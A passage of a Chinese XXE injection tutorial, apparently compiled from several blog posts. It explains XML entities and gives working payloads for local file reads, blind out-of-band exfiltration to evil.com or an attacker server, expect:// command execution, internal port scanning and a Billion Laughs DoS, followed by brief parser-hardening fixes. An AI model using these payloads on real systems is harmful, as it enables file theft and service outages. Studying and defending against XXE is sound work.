"file:///etc/passwd"> ]> <abc>&entityex;</abc> 在上面的代码中， XML外部实体 ‘entityex’ 被赋予的值为：file://etc/passwd。在解析XML文档的过程中，实体’entityex’的值会被替换为URI(file://etc/passwd)内容值（也就是passwd文件的内容）。 关键字’SYSTEM’会告诉XML解析器，’entityex’实体的值将从其后的URI中读取，并把读取的内容替换entityex出现的地方。 　　假如 SYSTEM 后面的内容可以被用户控制，那么用户就可以随意替换为其他内容，从而读取服务器本地文件（file:///etc/passwd)或者远程文件（http://www.baidu.com/abc.txt） （4）参数实体 参数实体只用于 DTD 和文档的内部子集中，XML的规范定义中，只有在DTD中才能引用参数实体. 参数实体的声明和引用都是以百分号%。并且参数实体的引用在DTD是理解解析的，替换文本将变成DTD的一部分。该类型的实体用“％”字符（或十六进制编码的％）声明，并且仅在经过解析和验证后才用于替换DTD中的文本或其他内容： <!ENTITY % 实体名称 "实体的值"> 或者 <!ENTITY % 实体名称 SYSTEM "URI"> 参数实体只能在 DTD文件中被引用，其他实体在XML文档内引用。 即下面实例，参数实体 在DOCTYPE内 ，其他实体在外 <!DOCTYPE a [ <!ENTITY % name SYSTEM “file:///etc/passwd”> %name; ]> 参数实体在DTD中解析优先级高于xml内部实体 实体相当于变量 “file:///etc/passwd”赋值给name 先写一段简单的xml利用代码,以php为例子: <?php $data = file_get_contents('php://input'); $xml = simplexml_load_string($data); echo $xml->name; ?> echo $xml->name;中->name可以任意更改。 如下所示: 参数实体的示例： <!ENTITY 实体名称 "实体的值"> <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY % param1 "<!ENTITY internal 'http://evil.com'>"> %param1; ]> <root> <test>[This is my site] &internal;</test> </root> 如： <!ENTITY % aaa "233"> 参数实体param1中包含内部实体的声明，用于替代<test>标签中的实体引用参数。 这里，一定要注意流程，参数实体在DTD中解析是优先于XML文本中的内部实体解析。 参数实体有几个特性，这几个特性也决定了它能被利用的程度： l 只能在DTD内部 l 立即引用 l 实体嵌套 （5）内部实体 内置实体为预留的实体，如： 实体引用字符 &lt; < &gt; > &amp; & &quot; " &apos; ' 而内部实体是指在一个实体中定义的另一个实体，也就是嵌套定义。 关于实体嵌套的情况，比较幸运的是DTD中支持单双引号，所以可以通过单双引号间隔使用作为区分嵌套实体和实体之间的关系；在实际使用中，我们通常需要再嵌套一个参数实体，%号是需要处理成 &#37; 如下： <!ENTITY % param1 '<!ENTITY % xxe SYSTEM "http://evil/log?%payload;" >' &#37;也可写为16进制&#x25; 另：内部实体的这支持与否也是取决于解释器的，参考链接4 （6）命名实体+外部实体写法 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [ <!ENTITY dtd SYSTEM "http://localhost:88/evil.xml"> ]> <value>&dtd;</value> 这种命名实体调用外部实体，发现evil.xml中不能定义实体，否则解析不了，感觉命名实体好鸡肋，参数实体就好用很多 （7）第一种命名实体+外部实体+参数实体写法 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE data [ <!ENTITY % file SYSTEM "file:///c://test/1.txt"> <!ENTITY % dtd SYSTEM "http://localhost:88/evil.xml"> %dtd; %all; ]> <value>&send;</value> 其中evil.xml文件内容为 <!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:88%file;'>"> 调用过程为：参数实体dtd调用外部实体evil.xml，然后又调用参数实体all，接着调用命名实体send （8）第二种命名实体+外部实体+参数实体写法 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [ <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=c:/test/1.txt"> <!ENTITY % dtd SYSTEM "http://localhost:88/evil.xml"> %dtd; %send; ]> <root></root> 其中evil.xml文件内容为： <!ENTITY % payload "<!ENTITY &#x25; send SYSTEM 'http://localhost:88/?content=%file;'>"> %payload; 调用过程和第一种方法类似 5.XML中的协议支持 上图是默认支持协议，还可以支持其他，如PHP支持的扩展协议有 6.xxe注入定义 XXE注入，即XML External Entity，XML外部实体注入。通过 XML 实体，”SYSTEM”关键词导致 XML 解析器可以从本地文件或者远程 URI 中读取数据。所以攻击者可以通过 XML 实体传递自己构造的恶意值，是处理程序解析它。当引用外部实体时，通过构造恶意内容，可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。 ENTITY 实体，在一个甚至多个XML文档中频繁使用某一条数据，我们可以预先定义一个这条数据的“别名”，即一个ENTITY，然后在这些文档中需要该数据的地方调用它。XML定义了两种类型的ENTITY，一种在XML文档中使用 若是在PHP中,libxml_disable_entity_loader设置为TRUE可禁用外部实体注。入另一种作为参数在DTD文件中使用。ENTITY的定义语法： <!DOCTYPE 文件名 [ <!ENTITY 实体名 "实体内容"> ]> 定义好的ENTITY在文档中通过“&实体名;”来使用。举例： <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE booklist [ <!ENTITY publisher "ABC company"> ]> <booklist> <book> <name>Ajax</name> <price>$5.95</price> <description>Foundations of Ajax.</description> <publisher>&publisher;</publisher> 这里的&publisher;会被“ABC company”替换 </book> <book> <name>Ajax Patterns</name> <price>$7.95</price> <description>Introduction of Ajax Patterns.</description> <publisher>&publisher;</publisher> 这里的&publisher;会被“ABC company”替换 </book> </booklist> 在 XML 中有 5 个预定义的实体引用： &lt; < 小于 &gt; > 大于 &amp; & 和号 &apos; ' 省略号 &quot; " 引号 注释：严格地讲，在 XML 中仅有字符 "<"和"&" 是非法的。省略号、引号和大于号是合法的，但是把它们替换为实体引用是个好的习惯。 7.XXE漏洞原理 既然XML可以从外部读取DTD文件，那我们就自然地想到了如果将路径换成另一个文件的路径，那么服务器在解析这个XML的时候就会把那个文件的内容赋值给SYSTEM前面的根元素中，只要我们在XML中让前面的根元素的内容显示出来，不就可以读取那个文件的内容了。这就造成了一个任意文件读取的漏洞。 那如果我们指向的是一个内网主机的端口呢？是否会给出错误信息，我们是不是可以从错误信息上来判断内网主机这个端口是否开放，这就造成了一个内部端口被探测的问题。另外，一般来说，服务器解析XML有两种方式，一种是一次性将整个XML加载进内存中，进行解析；另一种是一部分一部分的、“流式”地加载、解析。如果我们递归地调用XML定义，一次性调用巨量的定义，那么服务器的内存就会被消耗完，造成了拒绝服务攻击。 ###XML注入简单利用 构造本地xml接口，先包含本地xml文件，查看返回结果，正常返回后再换为服务器。 1.任意文件读取 payload如下: <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ELEMENT name ANY> <!ENTITY xxe SYSTEM "file:///D://phpStudy//WWW//aa.txt">]> <root> <name>&xxe;</name> </root> 读取aa.txt的内容: 2.探测sql盲注 一般在漏洞挖掘中我们是猜测不到<root></root>里面是name标签的。所以我们用另一种方法更靠谱:推荐网站:http://ceye.io/payloads 找到网站上自带的XML注入利用代码: 稍微整理下生成payload如下: <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://9j4jd9.ceye.io/xxe_test"> %remote;]> <root/><?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://9j4jd9.ceye.io/xxe_test"> %remote;]> <root/> 看下现在是几点钟: 晚上八点多钟,我们复制payload发送请求: 看下网站里面自带的日志功能: 应该是时间延迟问题。反正相差十分钟以内! 这里接收到我们的payload请求说明是存在XML注入的，用这种方法测试XML注入我感觉很好 1.可以无限制盲打 2.测试简单方便不需要很繁琐测试猜测 3.探测内网地址 payload如下: <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ELEMENT name ANY> <!ENTITY xxe SYSTEM "http://192.168.0.100:80">]> <root> <name>&xxe;</name> </root> 成功探测到内网端口内部信息。 我这是在windows下测试，假如是linux下还可以命令执行: 在安装expect扩展的PHP环境里执行系统命令，其他协议也有可能可以执行系统命令 测试payload: <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM "expect://ifconfig" >]> <root> <name>&xxe;</name> </root> 这里读取系统命令ifconfig读取ip 4.防御XML注入攻击 方案：使用开发语言提供的禁用外部实体的方法 1.PHP： libxml_disable_entity_loader(true); 2.JAVA: DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false); 3.Python： from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False)) ### xxe注入攻击 1.XXE攻击概述 XML外部实体（XXE）攻击是许多基于注入的攻击方式之一，当攻击者将声明XML消息中的外部实体发送到应用程序并使用XML解析器解析时，就会发生这种攻击。这个漏洞有许多不同的类型和行为，因为它可能会发生在不同类型的技术中—因为不同类型的XML解析器的原因。在这种情况下，令人高兴的是，每个解析器具有不同的功能和“特征”。 在我们开始之前，让我们先认识下可能面临的最常见的XXE漏洞类型—了解这些漏洞类型将有助于我们调试攻击并创建最终正确的POC： 1.基础的XXE注入— 外部实体注入本地DTD 2.基于盲注的XXE注入—XML解析器在响应中不显示任何错误 3.基于错误的XXE注入—成功解析之后，XML解析器始终显示SAME响应。（即“您的消息已被接收”），因此，我们可能希望解析器将文件的内容“打印”到错误响应中。 2.基础的XXE注入 按照上一个概述，我们可以通过使用SYSTEM标识符来引用外部实体的数据。所以现在我们可以引入XXE注入的第一种技术，它将外部实体注入到包含引用本地文件路径（如/ etc / passwd）的SYSTEM标识符的XML文档中： 现在让我们做一个更复杂和更严重的攻击： 如果作为通用功能的一部分，应用程序服务器没有作出回应呢？（记得刚刚提到的基于错误的XXE吗？） 如果我们想从其中具有XML特殊字符的外部源读取数据呢？如果在解析过程中解析失败呢？ 这时我们可以加载引用我们的远程服务器并尝试从其URL获取内容的辅助外部DTD—这可以是一组字符，或下面的示例转储文件，最重要的是它甚至没有经过XML模式验证过程，因为它在解析器甚至获取远程内容之前发送！ 例如，远程DTD文件—包含带有SYSTEM标识符和“file”处理程序的参数实体。请注意，参数实体“file”也连接到实体“send”内的URL： 解析DTD后，我们得到以下实体： 最终，服务器会尝试以文件内容发送参数“c”所指定的内容，到达我们定义的URL—我们记录该内容，并通过这样做来转储文件的内容： 步骤A： 步骤B： — 远程DTD正在解析。我们正在窃取文件的内容... 步骤C： 我们成功得到文件内容！ 用这种技术记住的几件事情： 文件内容中的字符“#”将导致URL截断。 如果我们使用“or”定义参数实体，内容可能会中断。 这取决于我们使用的是哪种（所以请确保在出现错误的情况下同时使用这两种测试场景）。 3.基于错误的XXE注入 有时候，当解析过程成功时，当我们从服务器得到通用的响应时，我们可能希望服务器返回详细错误—因此，我们可以使用与远程DTD相同的技术，但会发生故意的错误如： 解析器将尝试解析DTD并访问发送实体中给出的路径，但是由于不能到达“my-evil-domain。$$$$ ”，我们将导致以下错误： 然后我们就可以根据信息调试我们自己的payload！# 安全脉搏 https://www.secpulse.com/archives/58915.html 请注意，由服务器响应的任何错误显示哪一行导致解析错误，同时出现语法错误，有时我们可能会使用此信息来调试我们自己的payload，使用“\ n”。例如： <！DOCTYPE Author[ \ n <！ENTITY %% intentate_error_here“test”>]> \ n 包含payload的两个额外的“\ n”会在第一行“\ n”之后的第2行中出现错误，而其余的XML内容将会显示在第3行。 总之，XXE是一个非常强大的攻击，它允许我们操纵错误的XML解析器并利用它们。请注意，有更多的技术和攻击利用方式可以通过XXE注入完成。如前所述，每个解析器都有不同的能力，因此我们可以提出不同的漏洞： 此表由研究员Timothy Morgan提供—这些协议可用于上传文件（jar:// ..），在旧版本Java中允许任意数据通过TCP连接（gopher:// ..），阅读PHP源代码查看PHP的处理方式。 自己尝试下载我们的演示实验室，可以在这里下载！该演示包含一个带有XML有效载荷的.NET xml解析器和需要的远程DTD文件。 4.基于盲注的XXE注入 （1）Blind XXE用途 对于传统的XXE来说，要求有一点，就是攻击者只有在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件。例如： 提交请求： <!ENTITY file SYSTEM “file:///etc/passwd”> <username>&file;</username> 服务器在这个节点中返回etc/passwd的文件内容： <username>root:1:3.......</username> 如果服务器没有回显，只能使用Blind XXE漏洞来构建一条带外信道提取数据。 （2）参数实体和内部参数实体 Blink XXE主要使用了DTD约束中的参数实体和内部实体。 参数实体是一种只能在DTD中定义和使用的实体，一般引用时使用%作为前缀。而内部实体是指在一个实体中定义的另一个实体，也就是嵌套定义。 如： <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY % param1 "<!ENTITY internal 'http://www.baidu.com'>"> %param1; ]> <root> [This is my site] &internal; </root> 但是在我研究过程中，发现内部实体的这支持与否也是取决于解释器的。 IE/Firefox： Chrome： 这也是比较蛋疼的特性，因为php，java，C#等语言的内置XML解析器都是有一定差别的，也就给漏洞利用带来不便。 （3）bllind xxe 如果目标服务器没有回显，就只能用 Blind XXE 了。原理就是带着获取的文件源码以 get 参数或其他形式去访问我们的服务器，然后在日志里就可以找到我们要获取的内容了。 Blink XXE主要使用了DTD约束中的参数实体和内部实体。 参数实体是一种只能在DTD中定义和使用的实体，一般引用时使用%作为前缀。而内部实体是指在一个实体中定义的另一个实体，也就是嵌套定义。 <?xml version="1.0"?> <!DOCTYPE ANY [ <!ENTITY % hs SYSTEM "file:///C:/1.txt"> <!ENTITY % remote SYSTEM "http://xxx/xxx.xml"> %remote; %all; ]> <root>&send;</root> xxx.xml <!ENTITY % all "<!ENTITY send SYSTEM 'http://xxx/x.php?hs=%hs;'>"> 这里解释下，%remote; 会把外部文件引入到这个 XML 中，%all; 替换为后面的嵌套实体，这时再在 root 节点中引入 send 实体，便可实现数据转发。如果在 xxx.xml 中 send 实体是参数实体的话，也可以采用下面的形式。 <?xml version="1.0"?> <!DOCTYPE ANY[ <!ENTITY % file SYSTEM "file:///C:/1.txt"> <!ENTITY % remote SYSTEM "http://xxx/xxx.xml"> %remote; %all; %send; ]> xxx.xml <!ENTITY % all "<!ENTITY % send SYSTEM 'http://xxx/x.php?hs=%hs;'>"> l 原理说明 对于传统的XXE来说，要求在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件，例如上述方式一。 如果服务器没有回显，只能使用Blind XXE漏洞来构建一条带外信道提取数据（Out-Of-Band）。 但直接在内部实体定义中引用另一个实体的这种方法行不通 <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY % param1 "file:///c:/1.txt"> <!ENTITY % param2 "http://127.0.0.1/?%param1"> %param2; ]> 最简单的无非是通过参数实体引用，发送一个http请求到我们服务器，然后观察我们服务的日志 <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://evil.com/blind_xxe_test"> %remote;]> <root/> 如果在服务日志上能接收到则说明存在漏洞 于是考虑内部实体嵌套的形式： <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY % param1 "file:///c:/1.txt"> <!ENTITY % param2 "<!ENTITY % param222 SYSTEM'http://127.0.0.1/?%param1;'>"> %param2; ]> <root> [This is my site] </root> 但是这样做行不通，原因是不能在实体定义中引用参数实体，即有些解释器不允许在内层实体中使用外部连接，无论内层是一般实体还是参数实体。 解决方案是： 将嵌套的实体声明放入到一个外部文件中，这里一般是放在攻击者的服务器上，这样做可以规避错误。 和引入方式三有些雷同，如下： src.xml <?xml version="1.0"?> <!DOCTYPE ANY[ <!ENTITY % file SYSTEM "file:///C:/1.txt"> <!ENTITY % remote SYSTEM "http://192.168.150.1/evil.xml"> %remote; %all; ]> <root>&send;</root>• evil.xml <!ENTITY % all "<!ENTITY send SYSTEM 'http://192.168.150.1/1.php?file=%file;'>">• 实体remote，all，send的引用顺序很重要，首先对remote引用目的是将外部文件evil.xml引入到解释上下文中，然后执行%all，这时会检测到send实体，在root节点中引用send，就可以成功实现数据转发。 另外一种方法是使用CDATA，但是并非像wooyun文章说的那样可以读取任意值 l 读任意文件 php://filter/convert.base64-encode/resource=想要读取的文件路径 l java中的应用 1.file:///可以列目录: 2.OOB: gopher（1.7u7, 1.6u32以前|7u9 6u37以前 ？），配合nc；其他情况用ftp 3.上传文件: 需要进行长链接，通过jar协议（jar:http://127.0.0.1:2014/xxe.jar!/） https://github.com/pwntester/BlockingServer 4.ftp oob: 在jdk 1.6.35 以上，可以读取tomcat-users，如果管理页面不删，版本如果高于前述情况，也应该能读取 注意：1.6.31以下是不行的,因此结合文件上传和gopher协议来看，基于tomcat成功的getshell，主要因素在于jdk版本，成功的范围很小 5.读XML标签及属性值 前提是内部需要设置 factory.setValidating(true) 例1：读取属性值 xml文档中的标签属性需通过ATTLIST为其设置属性 语法格式： <!ATTLIST 元素名 属性名 属性值类型 默认值> <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE tomcat-users [ <!ELEMENT role EMPTY> <!ELEMENT user EMPTY> <!ATTLIST user username (a|b) #REQUIRED password (a|b) #REQUIRED > ]> <tomcat-users> <role rolename="tomcat"/> <user username="tomcat" password="tomcat" roles="tomcat"/> </tomcat-users>• java Xerces方法的解析结果为（其他解析方式不行）： Warning: validation was turned on but an org.xml.sax.ErrorHandler was not set, which is probably not what is desired. Parser will use a default ErrorHandler to print the first 10 errors. Please call the 'setErrorHandler' method to fix this. Error: URI=null Line=10: Element type "tomcat-users" must be declared. Error: URI=null Line=11: Attribute "rolename" must be declared for element type "role". Error: URI=null Line=12: Attribute "username" with value "tomcat" must have a value from the list "a b ". Error: URI=null Line=12: Attribute "password" with value "tomcat" must have a value from the list "a b ". Error: URI=null Line=12: Attribute "roles" must be declared for element type "user". 实际运用时，是没办法解析tomcat-users.xml的文档的，因为会把 XML 声明代入而造成解析出错 例2：定义标签顺序报错 具体示例如下： 首先建立DTD文件，文件名：person.dtd 文件内容： <?xml version="1.0" encoding="utf-8" ?> <!ELEMENT person (name, sex, birthday)*> <!ELEMENT name (#PCDATA)> <!ELEMENT sex (#PCDATA)> <!ELEMENT birthday (#PCDATA)>• 然后建立两个利用这个dtd文件的xml文件 文件名：person.xml 文件内容： <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE person SYSTEM "person.dtd"> <person> <name>tom</name> <sex>male</sex> <birthday>1949-10-01</birthday> </person> 文件名：worker.xml 文件内容： <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE person SYSTEM "person.dtd"> <person> <name>tom</name> <sex>male</sex> <birthday>1949-10-01</birthday> <job>it</job> </person>• 我们可以看到worker.xml文件不符合dtd的规定，多了一个job的标签。 然后建立java文件 文件名：ValidateXMLDTD.java package xmlvalidate; import java.io.FileNotFoundException; import java.io.IOException; import javax.xml.parsers.DocumentBuilder; import javax.xml.parsers.DocumentBuilderFactory; import javax.xml.parsers.ParserConfigurationException; import org.xml.sax.SAXException; public class ValidateXMLDTD { public static void main(String[] args) { // System.out.println("测试符合DTD规范的XML文件"); // testPerson(); // System.out.println("测试不符合DTD规范的XML文件"); // testWorkder(); } public static void testPerson() { try { DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setValidating(true); //这里很重要 DocumentBuilder db = dbf.newDocumentBuilder(); db.parse(new java.io.FileInputStream("person.xml")); } catch (FileNotFoundException e) { // TODO Auto-generated catch block e.printStackTrace(); } catch (ParserConfigurationException e) { // TODO Auto-generated catch block e.printStackTrace(); } catch (SAXException e) { // TODO Auto-generated catch block e.printStackTrace(); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } } public static void testWorkder() { try { DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setValidating(true); DocumentBuilder db = dbf.newDocumentBuilder(); db.parse(new java.io.FileInputStream("worker.xml")); } catch (FileNotFoundException e) { // TODO Auto-generated catch block e.printStackTrace(); } catch (ParserConfigurationException e) { // TODO Auto-generated catch block e.printStackTrace(); } catch (SAXException e) { // TODO Auto-generated catch block e.printStackTrace(); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } } }• 修改一下main方法中的注释语句，运行一下，执行结果： 运行testPerson的时候，只输出：测试符合DTD规范的XML文件 ，而运行testWorker的时候，输入如下内容：测试不符合DTD规范的XML文件 Warning: validation was turned on but an org.xml.sax.ErrorHandler was not set, which is probably not what is desired. Parser will use a default ErrorHandler to print the first 10 errors. Please call the 'setErrorHandler' method to fix this. Error: URI=null Line=7: Element type "job" must be declared. Error: URI=null Line=8: The content of element type "person" must match "(name,sex,birthday)*" （4）测试 【1.php】 <?php file_put_contents("1.txt", $_GET['file']) ; ?> 【test.php】 <?php $xml=<<<EOF <?xml version="1.0"?> <!DOCTYPE ANY[ <!ENTITY % file SYSTEM "file:///C:/passwd.txt"> <!ENTITY % remote SYSTEM "http://192.168.150.1/evil.xml"> %remote; %all; %send; ]> EOF; $data = simplexml_load_string($xml) ; echo "<pre>" ; print_r($data) ; ?> 【evil.xml】 <!ENTITY % all "<!ENTITY % send SYSTEM 'http://192.168.150.1/1.php?file=%file;'>"> 访问http://localhost/test.php, 这就是模拟攻击者构造XXE请求，然后存在漏洞的服务器会读出file的内容（c:/1.txt），通过带外通道发送给攻击者服务器上的1.php，1.php做的事情就是把读取的数据保存到本地的1.txt中，完成Blind XXE攻击。 攻击之后1.txt中的数据： 攻击者服务器日志： （5）总结 遇到XML相关的交互过程，以如下步骤判断是否存在漏洞： （1）检测XML是否会被解析： <?xml version=”1.0” encoding=”UTF-8”?> <!DOCTYPE ANY [ <!ENTITY shit “this is shit”> ]> <root>&shit;</root> 如果$shit;变成了”this is shit”，那就继续第二步。 （2）检测服务器是否支持外部实体： <?xml version=”1.0” encoding=”UTF-8”?> <!DOCTYPE ANY [ <!ENTITY % shit SYSTEM “http://youhost/evil.xml”> %shit; ]> 通过查看自己服务器上的日志来判断，看目标服务器是否向你的服务器发了一条请求evil.xml的HTTP request。 （3）如果上面两步都支持，那么就看能否回显。如果能回显，就可以直接使用外部实体的方式进行攻击。当然有时候服务器会不支持一般实体的引用，也就是在DTD之外无法引用实体，如果这样的话，只能使用Blind XXE攻击。 （4）如果不能回显，毫无疑问，使用Blind XXE攻击方法。 5.XXE的几种外部引入方式 当允许引用外部实体时，通过构造恶意内容，可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。 引入外部实体方式有多种，比如： （1）恶意引入外部实体方式一 XML内容： （2）恶意引入外部实体方式二 <!DOCTYPE a [ <!ENTITY %d SYSTEM "http://www.backlion.org/attack.dtd"> %d; ]> 其中attack.dtd的内容为： <!ENTITY b SYSTEM "file:///etc/passwd"> XML内容： DTD文件(evil.dtd)内容： （3）恶意引入外部实体方式三 XML内容： DTD文件(evil.dtd)内容： 另外，不同程序支持的协议不一样， 上图是默认支持协议，还可以支持其他，如PHP支持的扩展协议有 ###xxe攻击利用 准备一个有XXE漏洞的文件,如下: <?php $xml=file_get_contents("php://input"); $data = simplexml_load_string($xml) ; echo "<pre>" ; print_r($data) ;//注释掉该语句即为无回显的情况 ?> xxe利用主要有：任意文件读取、内网信息探测（包括端口和相关web指纹识别）、DOS攻击、远程命名执行 POC主要有： file:///path/to/file.ext http://url/file.ext php://filter/read=convert.base64-encode/resource=conf.php 不同程序支持的协议不同 1.任意文件读取 任意读取的代码: <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xdsec [ <!ELEMENT methodname ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <methodcall> <methodname>&xxe;</methodname> </methodcall> 1).有直接回显的情况:可以看命名实体写法，根据实际情况替换相应代码利用即可，我本地测试照搬过来 2).无回显的情况：可以看第一种命名实体+外部实体+参数实体写法和第二种命名实体+外部实体+参数实体写法 第一种写法结果如图： c://test/1.txt文件内容为111111111，可以从apache的日志中看到 ::1 - - [23/Apr/2017:17:37:13 +0800] "GET /111111111 HTTP/1.0" 404 207 如果把http://localhost:88/evil.xml替换为一个远程服务器的xml文件地址，即可在日志中看到我们想要获取的数据 第二种写法结果如图： 本地环境读取: 该CASE是读取/etc/passwd，有些XML解析库支持列目录，攻击者通过列目录、读文件，获取帐号密码后进一步攻击，如读取tomcat-users.xml得到帐号密码后登录tomcat的manager部署webshell。 另外，数据不回显就没有问题了吗？如下图， 不，可以把数据发送到远程服务器， 远程evil.dtd文件内容如下： 触发XXE攻击后，服务器会把文件内容发送到攻击者网站 基于file协议的XXE攻击 XMLInject.php <?php # Enable the ability to load external entities libxml_disable_entity_loader (false); $xmlfile = file_get_contents('php://input'); $dom = new DOMDocument(); # http://hublog.hubmed.org/archives/001854.html # LIBXML_NOENT: 将 XML 中的实体引用 替换 成对应的值 # LIBXML_DTDLOAD: 加载 DOCTYPE 中的 DTD 文件 $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); // this stuff is required to make sure $creds = simplexml_import_dom($dom); $user = $creds->user; $pass = $creds->pass; echo "You have logged in as user $user";`?> file_get_content('php://input')接收post数据，xml数据 XML.txt <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <creds> <user>&xxe;</user> <pass>mypass</pass>`</creds> 导致可以读出etc/passwd文件 在使用file://协议时，有以下几种格式： file：//host/path * Linux file:///etc/passwd * Unix file://localhost/etc/fstab file:///localhost/etc/fstab * Windows file:///c:/windows/win.ini file://localhost/c:/windows/win.ini * （下面这两种在某些浏览器里是支持的） file:///c|windows/win.ini file://localhost/c|windows/win.ini XML文档是用PHP进行解析的，那么还可以使用php://filter协议来进行读取。 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [ <!ENTITY content SYSTEM "php://filter/resource=c:/windows/win.ini"> ]> <root><foo>&content;</foo></root> 基于netdoc的XXE攻击 ==XML文档是用Java解析的话，可利用netdoc <?xml version="1.0"?> <!DOCTYPE data [ <!ELEMENT data (#PCDATA)> <!ENTITY file SYSTEM "netdoc:/sys/power/image_size"> ]> <data>&file;</data> 读取本地文件： 以php环境为例，index.php内容如下： <?php $xml=simplexml_load_string($_GET['xml']); print_r((string)$xml); ?> 利用各种协议可以读取文件。比如file协议，这里的测试环境为win，所以这里我选择读取h盘里的sky.txt。 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [<!ENTITY file SYSTEM "file:///h://sky.txt">]> <root>&file;</root> 将上述xml进行url编码后传进去，可以发现读取了sky.txt中的内容。 注： 如果要读取php文件，因为php、html等文件中有各种括号<，>，若直接用file读取会导致解析错误，此时可以利用php://filter将内容转换为base64后再读取。 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [<!ENTITY file SYSTEM "php://filter/convert.base64-encode/resource=index.php">]> <root>&file;</root> 同样先经过url编码后再传入。 2.内网信息探测 借助各种协议如http,XXE可以协助扫描内网,可能可以访问到内网开放WEB服务的Server,并获取其他信息 利用http协议http://url/file.ext，替换标准poc中相应部分即可,这种情况比较不稳定，根据不同xml解析器会得到不同的回显报错结果，例如我87关闭，88端口有web服务,有的没有明显的连接错误信息，所以无法判断端口的状态 也可以探测内网端口: 该CASE是探测192.168.1.1的80、81端口，通过返回的“Connection refused”可以知道该81端口是closed的，而80端口是open的。 加载外部DTD时有两种加载方式，一种为私有private，第二种为公共public。 私有类型DTD加载： <!ENTITY private_dtd SYSTEM "DTD_location"> 公共类型DTD加载： <!ENTITY public_dtd PUBLIC "DTD_name" "DTD_location"> 在公共类型DTD加载的时候，首先会使用DTD_name来检索，如果无法找到，则通过DTD_location来寻找此公共DTD。利用DTD_location，在一定的环境下可以用来做内网探测。 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [ <!ENTITY portscan SYSTEM "http://localhost:3389"> ]> <root><foo>&portscan;</foo></root> 因解析器种类不同，所以针对XXE攻击进行端口扫描需要一个合适的环境才能够实现，例如：有明显的连接错误信息。 利用DTD进行数据回显 有时读取文件时没有回显，这时可以利用DTD参数实体的特性将文件内容拼接到url中，达到读取文件的效果。 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root[ <!ENTITY % file SYSTEM "php://fileter/convert.base64-encode/resource=c:/windows/win.ini"> <!ENTITY % dtd SYSTEM "http://192.168.1.100:8000/evil.dtd"> %dtd; %send;]> <root></root> <!ENTITY % payload "<!ENTITY &#x25; send SYSTEM 'http://evil.com/?content=%file;'>"> %payload; evil.dtd 在evil.dtd中将%file实体的内容拼接到url后，然后利用burp等工具，查看url请求就能获得我们需要的内容 或者： <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM "http://127.0.0.1:80" >]> <root> <name>&xxe;</name> </root> 3.DOS攻击 最典型的案例Billion Laughs 攻击，Billion laughs attack，xml解析的时候，<lolz></lolz>中间将是一个十亿级别大小的参数，将会消耗掉系统30亿字节的内存。 POC: <?xml version = "1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ELEMENT lolz (#PCDATA)> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">]> 